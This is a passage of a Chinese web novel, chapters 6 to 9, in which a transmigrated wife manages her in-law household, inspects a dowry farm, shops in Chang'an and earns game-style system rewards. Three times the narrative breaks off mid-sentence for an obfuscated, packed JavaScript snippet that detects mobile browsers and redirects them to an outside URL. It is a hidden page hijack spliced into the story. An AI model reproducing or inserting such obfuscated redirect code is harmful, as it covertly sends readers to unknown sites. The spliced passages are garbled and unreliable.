旁边的军士更是低垂着头，瞪着眼，恨不得把地板盯出一个火辣辣的洞。 邬七略带机械地接过书信，拿在手上显得不敬娘子，揣怀里又好像过于私密，捏着过薄的信封不知如何是好。 然而这封信其实根本没有邬七想得那般私密，祝明璃就三五句简单交代了下家里的事儿，主要是为了试探沈绩的态度。 另外的，就是想试试沈绩留在府中卫兵的态度。目前来看，他们对自己很客气，态度并不傲慢强硬。 她摆出一幅体恤郎君手下的态度：“所以你们平日是轮值守着，还是三十三人都在小院里站岗？” 旁边本来不敢看她的军士猛地抬头，和邬七一起，诧异地看向她，不懂她怎么知道卫兵的事儿。 “你们的月廪有一部分是从沈府补贴的，都记在账本呢。”祝明璃依旧挂着得体又优雅的假笑，让他们忍不住思考主母们是不是都是这样，怪瘆人的。 其实也是沈绩对这方面不太上心，跟在他身边干活的手下，自然是他支钱。而他的俸禄收入又是算在中馈里的，所以过明路的这些钱，都记在中馈里的。 祝明璃仿佛只是在拉家常，对着邬七道：“你父亲最近还好吧？”邬七父亲曾是老将军身边的亲兵，后来为保护老将军受伤瘸了双腿，沈府每月都会补贴一些医用费让他好好养伤。 别的不说，沈家人至少对自己人很仁慈，这点祝明璃是比较赞赏的。 邬七顿时红了脸。他家世代跟着沈家当亲兵，本就备受恩泽，父亲伤了腿后，沈家更是每月都要送药，无论怎样拒绝，沈家依旧照看。 他本就怕别人觉得他们家“打秋风”，如今由祝明璃的口说出来，倍感羞愧。 “娘子，我们家……”他想开口解释。 祝明璃截断了他的话：“若是家中有困难，可以来寻我。你们是我家郎君的属下，我理应帮他多多照看。” 明明几句话前，大家还不熟，沈绩手下对她还是“外人不需入内”的态度。 几句话后，她就拉近了距离，成了可以照看他们的自己人。 两人丝毫没有察觉被带跑，毕竟他们现在拿的月廪可是祝明璃管着。 他们不敢拿捏姿态，恭敬道：“多谢娘子。” 祝明璃的目的达到了。 她身边必须跟着点能震慑别人的人，沈绩有好的资源，她为何不用？ 本来今日送信也是个由头，目的达到了，祝明璃也不多逗留：“明日我打算出府一趟，看看铺子田庄，你们安排两人跟我出去。” 她说的是自己的嫁妆，和沈府没关系，毕竟现在还在查管家庄头，她去了也没用。 但听在两人耳里，自然是“主母为了操持这个家尽心尽力”，立刻应声：“是！” 她吩咐完后，带着沈令仪转身离开。 沈令仪懵懵的，一边觉得三叔母果然与三叔甚为亲近，连留在沈府的亲卫也能使唤，一边又觉得有哪儿点不对。 她想着想着，步子就慢了下来。祝明璃回头见她这般，催促道：“想什么呢，忙活了一大早，不饿呀？” 沈令仪连忙回神，小跑几步追上来：“叔母明日要出府？” 祝明璃点头。 沈令仪觉得奇怪，但这个奇怪不是针对祝明璃。 祝明璃自从嫁进来后，每日都不停歇，前几日在府里掀起了大风暴后，一波威胁，又想出府整顿铺子田庄……哪家主母如此纡尊降贵、亲力亲为呢？ 沈令仪想，若是自己嫁去别人家，自然不会这般耗费心血。她一时感动不已，既为了三叔三叔母的夫妻深情感动，又为了祝明璃的无私大方感动。 祝明璃被她水汪汪的眼睛看着，不明所以，一眨眼的功夫，好感度直接到了99％。 祝明璃不懂，难道是被她忽悠两个亲兵的手段折服了？ 她拍拍沈令仪的肩膀：“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207348|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些事儿，你愿意学的话，我也可以教你。” 沈令仪摇头。虽然她熟读《女史箴》，但若是她嫁人了，还是做不到这种地步。 这么想着，含着愧疚和佩服的心，好感度突破100大关。 【恭喜玩家，解锁“第一个100％好感度”成就，获得新手奖励*1】 沈令仪还在千思万绪中，就见还在宽慰她的祝明璃面色一变：“我还有事，先回院儿里了，有事来找我就行。” 祝明璃走得飞快，生怕不小心打开了新手奖励包裹，有什么实物掉出来。 一进院里，绿绮就马上问：“娘子，现在用膳吗？” 按惯例，祝明璃都是毫不犹豫点头，绿绮也是流程性地问一下，结果听祝明璃道：“等会儿吧，我有点不舒服，进去躺一会儿。” 然后脚步匆忙地进了屋里，关上门。 绿绮和焦尾对视一眼，都很迷茫。 焦尾摇头道：“想必娘子是被沈家伤了心。你说这算什么事儿呢，尽心尽力帮他们理账清人，反被泼了一身污水！” 绿绮眼神在远处洒扫丫鬟们身上晃了一圈，小声道：“嘘，胡说什么。”她看着紧闭的房门道，“我先找医婆给娘子熬点清心汤。” 然而被他们担心的祝明璃不仅不郁闷，还激动极了。 她走到到最里间，确定不会有人进来后，才敢点【领取奖励】。 【恭喜玩家，您获得了一元购买力，可购买现代普通人可获取的一元内的商品。】 看到这个格式，祝明璃激动不已。 按规律推测，下一次大概率会变成五元购买力、十元购买力这种逐级递增的奖励，这种可比单单给物品自由度高多了。 虽然有“普通人可获取”的限制，以现代的科技力，也足够了。 想要的东西可太多了……祝明璃的脑子里闪过种子、工具、药品、书籍，这些都是她需要的。 只是一元，购买数量够呛。在这里面，她最想买种子，但买了种子也不会用，怎么做肥料怎么做，都需要指导。 再三纠结，她决定买一本教种田的书。而且是九零、零零年代出版的书，能细致指导以前农民种田的手册，而不是大学教科书式的“农业概览”“农业的发展历程”。 祝明璃询问系统：“我可以买电子书吗？” 系统评估了几秒，给了肯定的答案。 祝明璃连忙提了要求，系统也是头回干实事，两个人好一通交流，终于在某宝花0.99买了一本绝版电子书。 弹窗出现后，祝明璃赶紧翻看，书里从选址、肥料、虫害、种植常见作物都有详细介绍，包括她以后希望能买到的土豆、玉米种子。 从午后开始，一直到万籁寂静时分，祝明璃努力学习，一边看一边抄，方便以后翻看。 直到蜡油在烛台上结了厚厚一块，祝明璃才放下笔。 翌日，她顶着疲惫的目光起床，大伙儿都觉得是昨日的事影响了她的心情，不敢问，不敢劝，比以往做事更麻利了些。 之前听说她清理账目，责难管事，大家对她“畏惧”大于“服从”，谁都不希望治家之人是位眼里揉不得沙的严酷主母。整顿了贪腐管事，不代表他们的日子会变好，若是要求太严格，本就提心吊胆的日子只会雪上加霜。 但在主母院儿里的这些时日，奴仆们渐渐缓过味儿来。 主母确实是严格，却和他们想象中不一样。除了日常活计外，她没有任何要求，反而交代了很多项规矩，省去了很多繁琐的无用环节。 职责细分、指令明晰，整治风气后，大家才发现原来最累的不是干活，是以前那些乱七八糟的事儿和人。 如今踏踏实实干活，干得越多奖励越多，连最底层的粗使小丫鬟也能每月吃一顿肉食。若是放到以前，别说肉了，汤面上的油腥也会进婆子们的肚里。 所以大家的态度在不知不觉一百八十度大转弯，生怕这种“好领导”被气变了样。 可惜系统权限太低，看不到威望值的具体数据，否则祝明璃会发现威望值正在十分缓慢地增长中。 7. 第 7 章 早膳后，祝明璃把身上的田契身契地契装好，再让焦尾带上自己整理好的账本，轻装简行往外院的方向去了。 昨日说好派人跟随她出府，今日一大早，邬七就安排了两个靠谱踏实的亲卫候着。两人换好下人服，一幅家丁模样。 绿绮安排得很妥帖，马夫一早就起来谨慎检查马车，侍从待命。 丫鬟们都是卡着点做事，祝明璃刚刚走到马车旁边的时候，一阵洪亮的晨钟声鼓声荡起，音浪蔓延开，将沉睡的长安城唤醒。 开坊时间到。 一行人出府，祝明璃终于见到了长安城。 长安的大街比她想象中还要宽阔平坦，街道规划横平竖直，沈府坐落的坊离皇城较近，附近十分雅静。车马再继续前行，才热闹了起来。 坊墙不高，还是用土夯的，着急忙事的百姓早早就候在此处，坊门一开，新的一天也开始了。 越往外走越热闹，食肆的热气散开，烧饼、胡饼、馎饦……香气混杂在一起，淹没在行人的谈话声中。 祝明璃还看到了高鼻深目的胡人，正在赤膊叫卖，蒸腾的香气扑面而来，她连忙叫停马车，都穿越了，谁能忍住不尝尝正宗的胡饼呢？ 焦尾按她的吩咐下车购买，随行的所有人都得了一块饼，这叫出差的“伙食补助”。 随行的人没想到自己也能拿一块儿，他们在出门前，也就是天还黑的时候就垫了肚子，现在有肉的胡饼递面前，说不馋是假的。 众人连忙谢过，一咬一嘴荤油的胡饼下肚，一个个都乐开了花，出城的步伐轻盈了不少。 等到了田庄，差不多就到了午饭的时间。 祝明璃已经在车上睡了两回，再睡下去脑子就要成浆糊了。 由于他们轻装简行，来的只有两辆马车，还有随行骑马的两名亲卫，排场完全不够看。 田庄的人远远瞧着，并没有迎上来。 这里疏于管理，庄头多少年也见不到主子巡查。 亲卫二人没去过沈家的田庄，也不知道这里属于祝明璃的嫁妆。绿绮看不过，小声使唤家丁去把田庄领事叫来。 不过祝明璃并不讲究派头，不等人来接，就先一步走了进去。 她挑灯夜读也算有点用处，大概能看出土地规划不好。不过在这个时代，也没人能耕出多么肥沃的田地。 在她皱眉思索时，田庄领事们终于姗姗来迟。 这里虽然只是在京郊，但祝家人从未来过，顶多就是派管事来。 世家缺不了粮，囤粮卖粮自有一套章程，祝家并不太在这上面操心。 听到家丁来唤人的时候，他们还以为是管事来了，直到听到“娘子”二字以后，他们才想起来祝家小娘子前一阵嫁人了。 二人匆匆迎来，慌张行礼，说话文绉绉的，倒不像是管种地的。 “佃户们在哪？”祝明璃翻着名册，估算人力。 “回娘子的话，他们早早就去地里干活哩。”副庄一边带路，一边解释道，“这里有一部分不是一直跟着咱们的佃户。前些年南边闹灾，灾民北上，祝家开仓放粮，受惠的一部分灾民签了身契，免租期两年，缴粮比普通佃户多两成。” 说话的功夫，几人来到田庄后边，这里搭着不少茅草房，工工整整。 祝明璃心理里估算了一下，田庄并没有狠狠压榨佃户。 祝家提供种子和口粮，年利很高，按平均收成来算，至少五年才能还清，即便是这样，也算是上好的主家了。 庄头小心跟在祝明璃身后，心里担忧。 出嫁的娘子来看自家田庄，左不过是为了看粮产来的。 极有可能是嫁为人妻后，盘算嫁妆，发现田庄进项太少。 穷苦人过日子不容易，尤其是受了灾的。庄头犹豫开口：“去岁大寒，粮产很低。佃户们平日里不吃饱，便耕不动地，所以咱们也没有狠收粮税，至少要让他们有力气耕田。” 祝明璃回过头来看他，在沈府待久了，难得见到一个心软心善的管事。她翻着名册：“这么些人，怎么分田的？” “看粮产。流民里也有种田好手，分的稍多些，粮产也确实更多。还有就是拖家带口的，人多，力气更多，养田也更细致，也稍微多分了点。” 祝明璃又问他农具、耕牛的问题，庄头一一答了，颇有条理。 “你一直都是守着京郊田庄的？” 庄头摇头，神情有些尴尬：“之前是布庄里的，得罪了贵人。”他人老实，不会说话，被“贬”来了田庄。 布庄掌柜，必然是能认字能算账。 祝明璃绕了一圈，大致都了解了。 这个时候厨娘饭也烧好了，祝明璃一行人凑合了一顿，便返程回城。 临走前，她对庄头道：“还要麻烦你留心一下，这些佃户里，谁最会耕田，谁头脑灵活。” 庄头连道：“不敢不敢。娘子有吩咐，小人必然上心。” 以祝明璃的背景来看，除非祝家沈家双双倒台，她这辈子也不会缺口粮，但她仍把粮食耕田放在主要地位。 没办法，农业大国从小的教育就是这样的。 田庄看了，管事的头脑清楚，佃户们也没有虚报，田产没有像沈府内宅那样被嚯嚯，祝明璃就放心了。 回程的路上，行人多了不少。中午才开市，路上挑着担子、拖着货车的商贩不在少数。 既然都出府了，祝明璃也不想回去闷着，便让家丁先回去，剩下一些人朝西市出发。祝明璃嫁妆里的铺子不在西市，西市买卖者多为平民百姓和胡商，规模极大，一下午是肯定逛不完的。 亲卫对这种地方很是抗拒，但祝明璃眼睛都亮了，恨不得一口气扎进人群堆里凑热闹。西市不比东市，人口混杂，热闹异常，若不是行人的服饰各异，有一瞬间祝明璃都感觉回到了后世的古城景点。 分清各个方向大致卖的货物类别后，祝明璃抬脚往没那么吵闹的方向走，果然没走多久就见到了贩卖玛瑙水晶的店铺，因为价格的问题，平民百姓很少在这边消费。此时玛瑙水晶的制作工艺算不上绝佳，但胜在款式稀奇，风格迥异。 祝明璃挑了两样发饰，一面镶葡萄石镜，结账利落，掌柜笑得极其谄媚。虽然卖的是波斯玩意，老板却是汉商。 祝明璃指着一个玛瑙瓶问：“有没有比这更透的，无色的器皿。” 掌柜的笑道：“小店倒是没有，贵人您往前再走个百步。” 祝明璃道谢，到了卖玻璃的店后发现此时玻璃制作的技艺十分落后，杂质多，且不耐高温，想要靠蒸馏瓶提纯酿酒的美梦破碎。 她也不失望，右转出道，往酒肆走，挑了些清酒葡萄酒搬上车，又赶在闭市前打包了两份果馅儿饆饠。 一份自己品，一份给沈令仪。 饆饠皮脆馅软，香甜可口，没有添加剂糖精，但也不逊于后世的甜品，总体感觉神似麦当劳的水果派。 祝明璃有了灵感，比精细手艺比不过这些厨娘厨师，比甜品种类她可不会输。生活在信息大爆炸年代，甜品推陈出新，中式西式，绝不重样。 回到沈府，换衣净面，一身清爽，祝明璃带着小礼物朝沈令仪院子去了。 沈令仪知道祝明璃一早就出府了，她特意派人过来知会了沈令仪一声，说今日不交割了，免得沈令仪白跑一趟。 不用管中馈，也没人聊天，沈令仪一整日就看书画画，清闲里透出几分不适应的无聊。 正对着书本发呆时，忽听得一阵低语请安：“三娘子。” 由远至近，越来越清晰。 在沈府里，能被叫“三娘子”的只有一位。 沈令仪立刻站了起来，面上露出笑容，但又想到“都快傍晚了，三叔母过来不会是找我继续捋中馈事宜的吧”，笑容又变成痛苦面具。 但她还是小跑出去迎接，站在门槛上，正巧见到祝明璃走过来。 “三叔母！” 祝明璃抬手：“来，给你带回来的樱桃饆饠。” 沈令仪惊了。 倒不是她一个大家闺秀没吃过或买不起这种吃食，实在是她从未有过长辈出门后为她带零嘴的体验。 她把沉稳的礼仪抛之脑后，两部并做三步跳到祝明璃面前：“真是给我的么？” “那不然还能给谁？”祝明璃笑着把饆饠递到她手里。 沈令仪连忙道谢，迫不及待打开油纸。 小姑娘味蕾灵敏，最爱口味丰富的零嘴，沈令仪尤其爱甜食，此时这份零嘴在她眼里就是十足的美味，主要是心里的幸福感尤其浓厚。 饆饠还没吃完，祝明璃又拿出小盒子：“还有这个樱桃发钗，我瞧着挺新奇的，配你昨日那套衣裳正妙。” 惊喜真是源源不断，沈令仪犹豫道：“三叔母，怎能让你如此破费？” 这还真不算破费，尤其是对于家底丰厚的沈家来说。 祝明璃又把镜子和手镯递给她。 沈令仪这下不是惊喜了，是手足无措。 “我……三叔母、这？”她有记忆时就已经失去了生母，阿耶没有再娶，于是女性长辈便只有大姑母、祖母、二叔母，她们不亏待她，也会赠她首饰，但这和祝明璃这种不同。 长辈回家，带上小玩意儿和吃食回来哄小孩，这种温馨与亲密是她无法想象的。 她一时百感交集，嘴上懂事地道：“三叔母，下次不要这般费心了。” 但这对于祝明璃来说却是很稀疏平常的一件事，在后世，别说家长下班回家，哪怕是姐姐出去玩了，回来顺手给妹妹带点路边摊也很正常。 她拍拍沈令仪的肩膀：“这有什么，顺手的事儿。”盛世民风开放，此时男女大防没那么重，年轻小娘子也能出去逛，但也不能像男子那样总在外面晃悠。 反而是她这种嫁为人妇，没长辈约束，丈夫又不在身旁的最自由。 沈令仪却想得更深一点，将首饰盒拿好，认真抬头看她：“叔母，你我之间，不必如此客气。若是你在沈府有什么需要帮忙的，我能出力的，一定会帮你。”祝明璃嫁来沈府当主母，无论是长辈还是郎君都没人在帮扶，整个府内，只有她这个年岁不大的后辈能说上话。 也只是祝明璃本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207349|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事儿强才能立住，换了别人，这种心酸谁能轻轻咽下呢。 她十分共情这种女子才会有的处境，无论出于什么目的对她这么好，沈令仪都希望祝明璃能轻松一些，至少在她这里不用操心费力。 祝明璃不知道沈令仪看着沉默内敛，内里想法这么深，她只是点点她的脑门道：“你才是不要客气。少操心，年纪轻轻的像个小大人似的。” 沈令仪把祝明璃送至院门口，直到看到她的背影消失，才叹了口气回房。 她年底就十五了，平民百姓一般这个年岁就嫁人了。稍微有点家底的人家不缺聘礼米粮，会把女儿留到十七八岁，但也只剩两三年，不远了。 三叔母来的时日很短，却是她少女时代最轻松甜蜜的一段时光。虽然辈分差得大，但在沈令仪心中，祝明璃就是幼时幻想中的温柔阿姐，带给她的安全感极盛，这种日子像梦一样，生怕醒来。 摸着手上精美的樱桃发簪，沈令仪对丫鬟道有些困倦，想小憩一会。 解了帐帘，视线被隔绝，沈令仪将被子拉到脸上，安安静静地大哭了一场。 * 回院的路上，正值闭市，击钲声荡开，足足敲了三百下，一直到她走回院内才停止。 繁华热闹的东市西市安静了下来，安静了一整日的内院却热闹了起来。 厨房管事一边往外瞧，一边催促道：“快点，娘子马上就要回来了。” 祝明璃踏入院门，小厨房精神振作，排好队准备上餐。 祝明璃并不是一个苛责的人，她给厨娘写了个单子，大致写了自己喜欢什么口味的饭菜，一日三餐最好有什么菜式。毕竟她的口味和这个时代的不太符，想让厨娘一下子开悟做出她喜欢的菜，实属异想天开。 比如后世炒菜用到的铁锅，现在还没发明出来呢！ 时人早膳常吃的馎饦，也就是面片汤，被她挪到了晚膳。汤底用猪大骨熬制而成，泛着薄薄一层油花，清淡而鲜甜，配上少量烤羊肉、烤韭菜、凉拌菘菜，简单好消化，不会吃太撑。 祝明璃对晚饭很满意，唤来焦尾：“下午买的酒，给我盛一点来。” 焦尾问：“娘子，要哪一坛？” 祝明璃：“都要，用我买的琉璃杯装。” 这小日子真是滋润，若是未出阁的姑娘，还真不能这么自在。 又想到系统的提示剧情走向，沈绩绝对是个事业脑，肯定不经常在家窝着，这种日子她能一直过下去，简直不要太爽。 焦尾属于祝明璃指哪打哪的，绿绮倒是想劝，但想到反正这个院子她们看着，也没人敢出去传闲话，也就算了。 祝明璃等着酒，这才发现周围站着两个眼巴巴的传菜丫头。 炙热的目光看着自己，眼神相撞后又低下头，但很快又忍不住再次抬头看来。 祝明璃一头雾水：“你们瞧着挺面生的，之前不是你们传菜吧？” 听到祝明璃搭话，两人既紧张又松了口气，似乎就等着这一茬，忙不迭地道：“回娘子，小厨房排了班，每十日轮换一次。” 排班还是从值夜传开的制度，祝明璃让绿绮做了值夜小丫鬟的木牌，挂在木板上，谁轮班谁的牌子就挪到最前面，这样省得花功夫记，谁轮班也清楚，免得又出现顶班、连续值夜的混乱。 大家看见了，便明白娘子是个讲“规矩”的人。既然如此，那传菜这种可以在娘子面前露脸的活计，也得排班轮班。 在内宅里，很难有现代说的“晋升机会”。大多数人都能力普通，运气平平，也不存在熬资历这回事，从小丫鬟熬成了婆子，可能依旧在底层。 但现在不一样了，一旦职责被划分出来，规矩被摆在台面上，一个萝卜一个坑，不合格的萝卜就能被人顶下来，空缺的坑位也可以填上水灵灵的萝卜——娘子身边的贴身丫鬟可缺着呢。 两个丫鬟今天净面了无数回，发髻梳得一丝不苟，珍藏的首饰也戴上了。 同舍的丫鬟看见了，酸溜溜憋出一句：“狐媚子。”……实在找不到合适的词儿来骂。 由于香艳情事总是传得广泛，导致大家对丫鬟们时常存在误解，认为年轻漂亮的丫鬟会想“爬床”，挣个名分，从此过上锦衣玉食的生活。 然而这种事少之又少，先不说一个丫鬟敢大胆“勾引”主子会受到怎样的惩罚，就说成功了，也不可能有什么好下场。阶级差异太大，丫鬟不过是个“物件儿”，男主人用了就丢，照样回去干活。且大多数时候的小丫鬟们都是被迫，一腔苦楚只能自己咽下。 幸好沈府家风严谨，不会有这种事发生。但容貌上乘的丫鬟也不爱往主子跟前凑，万一主子心情好，把自己指给什么半老管事当奖赏，也够呛。 但这些担忧，在三娘子的院里通通不会发生。最会察言观色的丫鬟们发现，娘子就喜欢瞧着清爽干净的丫鬟，随手吩咐人的时候，也会下意识点人群里最赏心悦目的，于是最近个个精神饱满，神态昂扬。 人不就是活个奔头吗，努力有回报，干啥都有干劲儿。 于是最近沈府三房颇有种“百花争艳”的感觉。 8. 第 8 章 此时焦尾和绿绮把祝明璃买的清酒和葡萄酒捞过来了，两个传菜丫鬟赶忙上前，想帮忙斟酒。 祝明璃道：“不用在跟前儿候着啦，你们去忙你们的吧。” “回娘子，都忙完了。” “那就去歇着。”祝明璃挥挥手，二人只好退下。 房间只剩下祝明璃一人，葡萄酒清亮，琉璃杯繁复，葡萄美酒夜光杯，不要太恣意。 她迫不及待品了一口，然后—— “呸！” 太难喝了，跟后世的完全不能比。 嗯，酿酒技术的资料也要搞到手。 吃完饭，收拾完毕，点上灯，洗漱完毕，夜已深。晚风清新，祝明璃拿了把团扇在院里赏月，没有经过污染的天空尤其明亮。 白日虽然安静，却和夜晚的安静不同。这个点儿，大多数下人都回舍休息了，只剩下负责值夜的丫鬟在安静地守着。 小丫鬟踮起脚，把自己的木板翻到背面，把下一个木板翻开，表明今夜值夜到岗。她识字很少，但是记得自己木板所在的顺序。 先是去小厨房确认水仍温着，灶下的木柴没有火星。又到房里检查一遍没有灯芯浸在油里，以防熄灭或爆燃。娘子晚上不点香，所以省了一项检查熏香的工作…… 值夜主要是看主人需要什么，随叫随到，其余的事都是附加。比如她刚刚做的事，自有负责烛燎、炭火的丫鬟负责，她主要是起个双重保证。 主人不睡，她也没事儿，想了想，不知道从哪儿搞来个蒲团，喘着气儿小跑来祝明璃跟前：“娘子，垫着蒲团吧，小心着凉。” 祝明璃接过蒲团，却没有用，而是放在自己旁边，拍拍蒲团示意她坐下。 小丫鬟心跳扑通扑通的，纠结了一番，还是战战兢兢坐下了。 祝明璃问她多大了，她像倒豆子一样回答：“回娘子，婢子十二了，前岁闹灾被阿耶卖了，运气好，和几个姐姐一起被买进了府里。” 进来和所有小丫鬟一样，月例全上交了，但前些日子赖妈妈因为被牵扯进买办贪污一事，被叫去问话后再也没露面，所以这个月她头回领到了自己的月钱。 钱带来的实感是很冲击的，被卖给牙人终身沦为贱籍的她，也只不过换了家里数月口粮。但她又是极其幸运的，进沈府算是前世积德才能换来的好去处，所以她抱着钱袋，蒙头哭了一回，对过往的留恋随着眼泪就此消散了。 小丫鬟的眼睛很亮，闪着灵动的光，人牙觉得“卖相好”，所以才把她留到了最后。 祝明璃很久没有查看人物属性了，对着丫鬟眨眨眼，发现对方头上顶着[忠诚度：100％]的字样。 她问：“识字吗？” 小丫鬟点点头：“一点点。” 祝明璃又问她平日干哪些活计，上头的丫鬟婆子是否苛责懈怠，她一一答了。条理清晰，从一开始怯怯的到落落大方，不过半柱香的时间。 祝明璃有了主意：“想认更多的字吗？” 小丫鬟预感到了好事发生，激动地点头，还不等祝明璃说话，先站起来匆忙准备磕头：“回娘子，求之不得。” 祝明璃把她拦住，小丫头干瘦干瘦的，一只手就能拎住。 “好啦，这事儿还没定下，先省着力气。”她转头看向旁边悄悄围观的丫鬟，“我也不坐这儿让你们心惊胆战了，各自歇去吧。” 她已经想好了，焦尾和绿绮作为老员工，肯定会被培养成得力助手，但仅有她们二人可不行。 得力助手也得有自己的助手，所以明日起，焦尾和绿绮要多一项“带实习生”的工作。她们是贴身丫鬟，但祝明璃真不需要时刻有人围着转伺候，人力资源要用到刀刃上。 可惜翌日她的计划落空了，被长安报晓鼓叫醒后，还没来得及和焦尾绿绮商议此事，沈母院里的人先找来了。 祝明璃心下了然，这么些时日，腐败案也该查清了。 等她赶过去时，沈母已经用完早膳了，沈令仪因为关心此事特意留了下来。这次没了闹事的看热闹的，院里安静得有几分诡异。 沈母对谁都是一幅态度，既不亲近，也不疏远，冷淡得恰到好处。 她对祝明璃招招手，示意她在自己的旁边坐下。 身后的嬷嬷递给她一张单子，她传给祝明璃：“这些人我都处理了，空下来的位子，你填人也好，废掉也罢，我都不会插手过问。” 祝明璃展开单子，有她记忆深刻的，也有她关注不到的。 她并没有问这些人怎么处置的，点点头：“好。” “令仪把中馈都交割完了吗？” 沈令仪在一旁乖巧道：“还有一些琐碎细务。” 沈母道：“你叔母忙不过来的时候，你要从旁协助，搭把手。” “祖母，我明白的。” 祝明璃觉得沈母冷淡拿捏得恰好，沈母何尝不是这样看她的。世家大族里婆媳关系与利益挂钩，很少争来斗去的，高门媳妇儿要么恭敬，要么傲气，祝明璃两种都不是。 沈母想了想，才找到合适的词形容她——锐气。 她挥挥手，下人们低头退出，沈令仪有些不想走，但还是被嬷嬷拍拍手臂哄走了。 祝明璃有些意外地看着沈母。 “我岁数大了，进气多，出气少，没有再多的力气管事儿。”她一开口，就让祝明璃不知道怎么回答。 吵架她在行，哄人真不行，更何况是两人不熟的情况。 她憋了憋，挤出一句话：“您别这样说，不吉利。” 沈母难得笑了一下：“我的意思是，这个家，以后就交给你了。你要怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207350|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管，都与我无关。”说实话，就算祝明璃真的像管事泼脏水那般，是想把整个沈府攥在手里掏空吃尽，那她也没力气管。这些年，送走丈夫，又送走儿子儿媳，她知道万事万物都有其命数。 “你也看到了，沈家现在只剩下一群孩子，三郎忙得脚不沾地，家里没个大人撑着，所以我只能让你和三郎仓促成婚。沈府是好是坏，全凭你心意。”她顿了顿，直白道，“妇人总被看轻，但当家才知分量千斤，你想花钱如流水，还是勤俭过日子，都是你的过法。担子不轻，但或许你也会乐在其中。” 一直秉持着“上下级”冷漠关系的祝明璃这下也没克制住表情，惊讶地看着沈母。 沈母就差把话甩在台面上了：管你是把沈家做大做强，还是中饱私囊，都随便，我半截身子入土，不想管了。 摸着良心讲，别说在封建大家族里，就算在现代，沈母都算非常明事理的好婆婆了。 别人尖锐，祝明璃会更尖锐；别人柔软，她却不知道怎么柔软。 “娘，别这样说。”半晌，她顶着尴尬的表情挤出一句话，“我会尽力的。”她凭良心做事，不会太糟糕，但也绝对不会为沈家鞠躬尽瘁耗尽心血。 沈母表情没变，点点头，嬷嬷过来替她揉太阳穴，这是送客的意思了。 见状，祝明璃行礼离开。 出了院门，她边走边琢磨，此事儿有点意思。 这好像和以前给公司打工不一样，沈母那段话翻译过来不就是，你现在成了拿股份的董事长了吗？ 还真是，她要真有心，现在开始挪用沈府的钱，安插人手，做好假账，谁能管得到她？那个长啥都不清楚的丈夫吗？ 这个想法刚刚冒出来，沈令仪的声音就从背后冒了出来：“叔母。” 祝明璃吓了一跳，莫名其妙有点心虚：“嗯？” 沈令仪瞧她一幅惊疑不定的样子，小心翼翼地道：“祖母说了什么吗？” 祝明璃摇头，把奇怪的想法晃走：“没有，就是嘱咐了一番。” 沈令仪有点不信，不过也不敢细问，自顾自解释道：“祖母身子不好，说几句话就乏了。”生怕祝明璃误会沈母。 祝明璃点头，早想到其他地方去了：“现在空出了这么多人，你有什么想法吗？” 沈令仪没跟上节奏：“啊？” “仆役们。”祝明璃打开单子，“光是管事就空出了三个，我想暂时由下面的副管事兼顾，你觉得呢？能者居之，考评好的，就上。若是能力不足，再换人。” 沈令仪没有任何意见。三叔母这般说，倒像是做官那样严格，但仔细想想，下县的县令还不如沈府大管事能敛财，又为何不能严格呢？ 不过祝明璃的想法倒是很简单，能力强的当领导，她就能省心，何乐而不为。 9. 第 9 章 回到院里，祝明璃让绿绮和焦尾通传下去，明日所有手下有人管的仆役全部到演武场集合。 演武场地方开阔，还有适合当讲台的木台子，适合开会。 她写好的规矩单子终于能派上用场了，翌日，她带着水壶，头一次也是唯一一次开大会。 主旨只有一个：立规矩。 从上到下的规矩都要改，从进出府的门禁到排班制度等等，她的院里已运作一段时间，没出差错，规矩就可以慢慢铺开到整个府内。除了规矩，还有奖惩制度、晋升机制，一上午说得是口干舌燥，也给仆役们听得热血沸腾。 即使祝明璃没有刻意画大饼，但对下人们来说，这可是等了很久的盼头。管他是真是假，他们愿意选择相信。 如果职责清晰了，主母也不用那么累，每日早起点名分发对牌她是绝对不会做的。普通权限的批准由管事决定，管事每五日对大管事进行汇报，大管事每十日再向她做工作总结。等大家都上手了，就可以向总助汇报，总助再挑选重要事务朝她汇报。 若是沈绩在此，必定十分震惊，这一套层层决议筛选的制度，和六部运转，内阁筛选折子给圣上太像了。 不过他远在剑南道，丝毫不知道沈府里翻起的风波。 祝明璃给他的回信在一个多月后，蹭着皇家的加急驿传，终于到了沈绩手里。 他以剿匪的名义在剑南道徘徊，收集到了吴王私自铸铁的证据，传给圣上后，一封又一封加急信件发到了他手里。圣上想用他，太后却又不想用他，两方僵持着，最后只是让他缓步归京。 沈绩不想参与皇家的争端，叹了口气，将信件烧毁。 烧完后，房外传来驿使的声音，竟是去而复返。 沈绩快步迎上去：“宫中还有吩咐？” 